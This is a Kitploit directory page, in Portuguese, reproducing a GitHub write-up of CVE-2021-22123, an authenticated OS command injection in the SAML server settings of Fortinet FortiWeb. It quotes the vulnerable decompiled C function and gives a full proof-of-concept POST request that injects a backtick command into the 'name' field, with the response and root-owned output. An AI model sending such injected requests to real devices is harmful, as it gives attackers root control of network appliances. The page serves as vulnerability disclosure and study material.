Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-22123 — [CVE-2021-22123] Fortinet FortiWeb Injeção Autenticada de Comando no SO | Kitploit
Ferramentas/GitHubGitHub/murataydemir/cve-2021-22123
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubmurataydemir/cve-2021-22123

CVE-2021-22123

[CVE-2021-22123] Fortinet FortiWeb Injeção Autenticada de Comando no SO

Ver Repositório
638há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[CVE-2021-22123] Injeção Autenticada de Comandos do Sistema Operacional no Fortinet FortiWeb


Hit Counter Platform Badge

A vulnerabilidade de injeção de comandos na interface de gerenciamento do FortiWeb pode permitir que um atacante remoto autenticado execute comandos arbitrários no sistema por meio da página de configuração do servidor SAML. A execução de comandos com privilégios máximos resultará na obtenção de controle total do servidor pelo atacante. Este é um exemplo de CWE-78: Improper Neutralization of Special Elements used in an OS Command e possui uma pontuação base CVSSv3 de 8.7. Esta vulnerabilidade tem o número CVE-2021-22123, que foi corrigida na página do FortiGuard Lab (FG-IR-20-120)

Basicamente, SAML é a sigla para Security Assertion Markup Language e é um padrão aberto baseado em XML para transferir dados de identidade entre duas partes: um provedor de identidade (IdP) e um provedor de serviço (SP). Ele foi projetado para garantir o funcionamento de um mecanismo de Single Sign-On, que permite acessar vários produtos de software usando um único identificador.

As versões do FortiWeb anteriores à 6.3.7 e abaixo são afetadas pela vulnerabilidade de injeção autenticada de comandos do sistema operacional. A exploração bem-sucedida dessa vulnerabilidade pode levar à obtenção de controle total do dispositivo afetado, com os mais altos privilégios possíveis. Eles podem instalar um shell persistente, software de mineração de criptomoedas ou outro software malicioso. Na improvável eventualidade de a interface de gerenciamento estar exposta à internet, eles poderiam usar a plataforma comprometida para alcançar a rede afetada além da DMZ.

Um atacante, primeiramente autenticado na interface de gerenciamento do dispositivo FortiWeb, pode injetar comandos usando crases no campo name da página de configuração do servidor SAML. Esses comandos são então executados como o usuário root do sistema operacional subjacente. A parte vulnerável do código é ilustrada abaixo.

int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

Prova de Conceito (PoC): A seguinte solicitação POST pode ser usada para explorar essa vulnerabilidade.

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

Por fim, os resultados do comando 'touch' podem ser vistos na linha de comando local do dispositivo FortiWeb

/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123

Referências:

  • https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/
  • https://www.ptsecurity.com/ww-en/about/news/positive-technologies-discovers-vulnerability-in-fortinet-firewall/
  • https://www.fortiguard.com/psirt/FG-IR-20-120
Baixar ferramenta